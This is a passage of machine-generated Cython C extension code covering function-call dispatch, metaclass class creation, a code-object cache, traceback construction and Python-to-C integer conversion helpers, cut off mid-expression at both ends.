break; case METH_O: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 1)) { PyObject *result, *arg0 = PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; result = (*meth)(self, arg0); Py_DECREF(arg0); return result; } PyErr_Format(PyExc_TypeError, "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; default: PyErr_SetString(PyExc_SystemError, "Bad call flags in " "__Pyx_CyFunction_Call. METH_OLDARGS is no " "longer supported!"); return NULL; } PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", f->m_ml->ml_name); return NULL; } static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { return __Pyx_CyFunction_CallMethod(func, ((PyCFunctionObject*)func)->m_self, arg, kw); } static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { PyObject *result; __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { Py_ssize_t argc; PyObject *new_args; PyObject *self; argc = PyTuple_GET_SIZE(args); new_args = PyTuple_GetSlice(args, 1, argc); if (unlikely(!new_args)) return NULL; self = PyTuple_GetItem(args, 0); if (unlikely(!self)) { Py_DECREF(new_args); return NULL; } result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); Py_DECREF(new_args); } else { result = __Pyx_CyFunction_Call(func, args, kw); } return result; } static PyTypeObject __pyx_CyFunctionType_type = { PyVarObject_HEAD_INIT(0, 0) "cython_function_or_method", sizeof(__pyx_CyFunctionObject), 0, (destructor) __Pyx_CyFunction_dealloc, 0, 0, 0, #if PY_MAJOR_VERSION < 3 0, #else 0, #endif (reprfunc) __Pyx_CyFunction_repr, 0, 0, 0, 0, __Pyx_CyFunction_CallAsMethod, 0, 0, 0, 0, Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, 0, (traverseproc) __Pyx_CyFunction_traverse, (inquiry) __Pyx_CyFunction_clear, 0, #if PY_VERSION_HEX < 0x030500A0 offsetof(__pyx_CyFunctionObject, func_weakreflist), #else offsetof(PyCFunctionObject, m_weakreflist), #endif 0, 0, __pyx_CyFunction_methods, __pyx_CyFunction_members, __pyx_CyFunction_getsets, 0, 0, __Pyx_CyFunction_descr_get, 0, offsetof(__pyx_CyFunctionObject, func_dict), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, #if PY_VERSION_HEX >= 0x030400a1 0, #endif }; static int __pyx_CyFunction_init(void) { __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); if (__pyx_CyFunctionType == NULL) { return -1; } return 0; } static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults = PyObject_Malloc(size); if (!m->defaults) return PyErr_NoMemory(); memset(m->defaults, 0, size); m->defaults_pyobjects = pyobjects; return m->defaults; } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_tuple = tuple; Py_INCREF(tuple); } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_kwdict = dict; Py_INCREF(dict); } static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->func_annotations = dict; Py_INCREF(dict); } /* Py3ClassCreate */ static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { PyObject *ns; if (metaclass) { PyObject *prep = __Pyx_PyObject_GetAttrStr(metaclass, __pyx_n_s_prepare); if (prep) { PyObject *pargs = PyTuple_Pack(2, name, bases); if (unlikely(!pargs)) { Py_DECREF(prep); return NULL; } ns = PyObject_Call(prep, pargs, mkw); Py_DECREF(prep); Py_DECREF(pargs); } else { if (unlikely(!PyErr_ExceptionMatches(PyExc_AttributeError))) return NULL; PyErr_Clear(); ns = PyDict_New(); } } else { ns = PyDict_New(); } if (unlikely(!ns)) return NULL; if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; return ns; bad: Py_DECREF(ns); return NULL; } static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass) { PyObject *result, *margs; PyObject *owned_metaclass = NULL; if (allow_py2_metaclass) { owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); if (owned_metaclass) { metaclass = owned_metaclass; } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { PyErr_Clear(); } else { return NULL; } } if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); Py_XDECREF(owned_metaclass); if (unlikely(!metaclass)) return NULL; owned_metaclass = metaclass; } margs = PyTuple_Pack(3, name, bases, dict); if (unlikely(!margs)) { result = NULL; } else { result = PyObject_Call(metaclass, margs, mkw); Py_DECREF(margs); } Py_XDECREF(owned_metaclass); return result; } /* CodeObjectCache */ static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { int start = 0, mid = 0, end = count - 1; if (end >= 0 && code_line > entries[end].code_line) { return count; } while (start < end) { mid = start + (end - start) / 2; if (code_line < entries[mid].code_line) { end = mid; } else if (code_line > entries[mid].code_line) { start = mid + 1; } else { return mid; } } if (code_line <= entries[mid].code_line) { return mid; } else { return mid + 1; } } static PyCodeObject *__pyx_find_code_object(int code_line) { PyCodeObject* code_object; int pos; if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { return NULL; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { return NULL; } code_object = __pyx_code_cache.entries[pos].code_object; Py_INCREF(code_object); return code_object; } static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { int pos, i; __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; if (unlikely(!code_line)) { return; } if (unlikely(!entries)) { entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); if (likely(entries)) { __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = 64; __pyx_code_cache.count = 1; entries[0].code_line = code_line; entries[0].code_object = code_object; Py_INCREF(code_object); } return; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { PyCodeObject* tmp = entries[pos].code_object; entries[pos].code_object = code_object; Py_DECREF(tmp); return; } if (__pyx_code_cache.count == __pyx_code_cache.max_count) { int new_max = __pyx_code_cache.max_count + 64; entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( __pyx_code_cache.entries, (size_t)new_max*sizeof(__Pyx_CodeObjectCacheEntry)); if (unlikely(!entries)) { return; } __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = new_max; } for (i=__pyx_code_cache.count; i>pos; i--) { entries[i] = entries[i-1]; } entries[pos].code_line = code_line; entries[pos].code_object = code_object; __pyx_code_cache.count++; Py_INCREF(code_object); } /* AddTraceback */ #include "compile.h" #include "frameobject.h" #include "traceback.h" static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyObject *py_srcfile = 0; PyObject *py_funcname = 0; #if PY_MAJOR_VERSION < 3 py_srcfile = PyString_FromString(filename); #else py_srcfile = PyUnicode_FromString(filename); #endif if (!py_srcfile) goto bad; if (c_line) { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #else py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #endif } else { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromString(funcname); #else py_funcname = PyUnicode_FromString(funcname); #endif } if (!py_funcname) goto bad; py_code = __Pyx_PyCode_New( 0, 0, 0, 0, 0, __pyx_empty_bytes, /*PyObject *code,*/ __pyx_empty_tuple, /*PyObject *consts,*/ __pyx_empty_tuple, /*PyObject *names,*/ __pyx_empty_tuple, /*PyObject *varnames,*/ __pyx_empty_tuple, /*PyObject *freevars,*/ __pyx_empty_tuple, /*PyObject *cellvars,*/ py_srcfile, /*PyObject *filename,*/ py_funcname, /*PyObject *name,*/ py_line, __pyx_empty_bytes /*PyObject *lnotab*/ ); Py_DECREF(py_srcfile); Py_DECREF(py_funcname); return py_code; bad: Py_XDECREF(py_srcfile); Py_XDECREF(py_funcname); return NULL; } static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyFrameObject *py_frame = 0; py_code = __pyx_find_code_object(c_line ? c_line : py_line); if (!py_code) { py_code = __Pyx_CreateCodeObjectForTraceback( funcname, c_line, py_line, filename); if (!py_code) goto bad; __pyx_insert_code_object(c_line ? c_line : py_line, py_code); } py_frame = PyFrame_New( PyThreadState_GET(), /*PyThreadState *tstate,*/ py_code, /*PyCodeObject *code,*/ __pyx_d, /*PyObject *globals,*/ 0 /*PyObject *locals*/ ); if (!py_frame) goto bad; __Pyx_PyFrame_SetLineNumber(py_frame, py_line); PyTraceBack_Here(py_frame); bad: Py_XDECREF(py_code); Py_XDECREF(py_frame); } /* CIntToPy */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { const long neg_one = (long) -1, const_zero = (long) 0; const int is_unsigned = neg_one > const_zero; if (is_unsigned) { if (sizeof(long) < sizeof(long)) { return PyInt_FromLong((long) value); } else if (sizeof(long) <= sizeof(unsigned long)) { return PyLong_FromUnsignedLong((unsigned long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); #endif } } else { if (sizeof(long) <= sizeof(long)) { return PyInt_FromLong((long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { return PyLong_FromLongLong((PY_LONG_LONG) value); #endif } } { int one = 1; int little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&value; return _PyLong_FromByteArray(bytes, sizeof(long), little, !is_unsigned); } } /* CIntFromPyVerify */ #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) #define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) #define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ {\ func_type value = func_value;\ if (sizeof(target_type) < sizeof(func_type)) {\ if (unlikely(value != (func_type) (target_type) value)) {\ func_type zero = 0;\ if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ return (target_type) -1;\ if (is_unsigned && unlikely(value < zero))\ goto raise_neg_overflow;\ else\ goto raise_overflow;\ }\ }\ return (target_type) value;\ } /* CIntFromPy */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { const long neg_one = (long) -1, const_zero = (long) 0; const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(long) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (long) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case 1: __PYX_VERIFY_RETURN_INT(long, digit, digits[0]) case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 2 * PyLong_SHIFT) { return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 3 * PyLong_SHIFT) { return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 4 * PyLong_SHIFT) { return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (long) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(long) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case -1: __PYX_VERIFY_RETURN_INT(long, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(long, digit, +digits[0]) case -2: if (8 * sizeof(long) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -3: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -4: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; } #endif if (sizeof(long) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else long val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (long) -1; } } else { long val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (long) -1; val = __Pyx_PyInt_As_long(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to long"); return (long) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to long"); return (long) -1; } /* CIntFromPy */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { const int neg_one = (int) -1, const_zero = (int) 0; const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(int) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (int) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case 1: __PYX_VERIFY_RETURN_INT(int, digit, digits[0]) case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 2 * PyLong_SHIFT) { return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 3 * PyLong_SHIFT) { return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 4 * PyLong_SHIFT) { return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (int) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(int) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case -1: __PYX_VERIFY_RETURN_INT(int, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(int, digit, +digits[0]) case -2: if (8 * sizeof(int) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -3: if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -4: if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; } #endif if (sizeof(int) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else int val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (int) -1; } } else { int val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (int) -1; val = __Pyx_PyInt_As_int(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to int"); return (int) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to int"); return (int) -1; } /* CheckBinaryVersion */ static int __Pyx_check_binary_version(void) { char ctversion[4], rtversion[4]; PyOS_snprintf(ctversion, 4, "%d.%d", PY_MAJOR_VERSION, PY_MINOR_VERSION); PyOS_snprintf(rtversion, 4, "%s", Py_GetVersion()); if (ctversion[0] != rtversion[0] || ctversion[2] != rtversion[2]) { char message[200]; PyOS_snprintf(message, sizeof(message), "compiletime version %s of module '%.100s' " "does not match runtime version %s", ctversion, __Pyx_MODULE_NAME, rtversion); return PyErr_WarnEx(NULL, message, 1); } return 0; } /* InitStrings */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { while (t->p) { #if PY_MAJOR_VERSION < 3 if (t->is_unicode) { *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); } else if (t->intern) { *t->p = PyString_InternFromString(t->s); } else { *t->p = PyString_FromStringAndSize(t->s, t->n - 1); } #else if (t->is_unicode | t->is_str) { if (t->intern) { *t->p = PyUnicode_InternFromString(t->s); } else if (t->encoding) { *t->p = PyUnicode_Decode(t->s, t->n - 1, t->encoding, NULL); } else { *t->p = PyUnicode_FromStringAndSize(t->s, t->n - 1); } } else { *t->p = PyBytes_FromStringAndSize(t->s, t->n - 1); } #endif if (!*t->p) return -1; ++t; } return 0; } static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { return __Pyx_PyUnicode_FromStringAndSize(c_str, (Py_ssize_t)strlen(c_str)); } static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject* o) { Py_ssize_t ignore; return __Pyx_PyObject_AsStringAndSize(o, &ignore); } static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { #if CYTHON_COMPILING_IN_CPYTHON && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if ( #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII __Pyx_sys_getdefaultencoding_not_ascii && 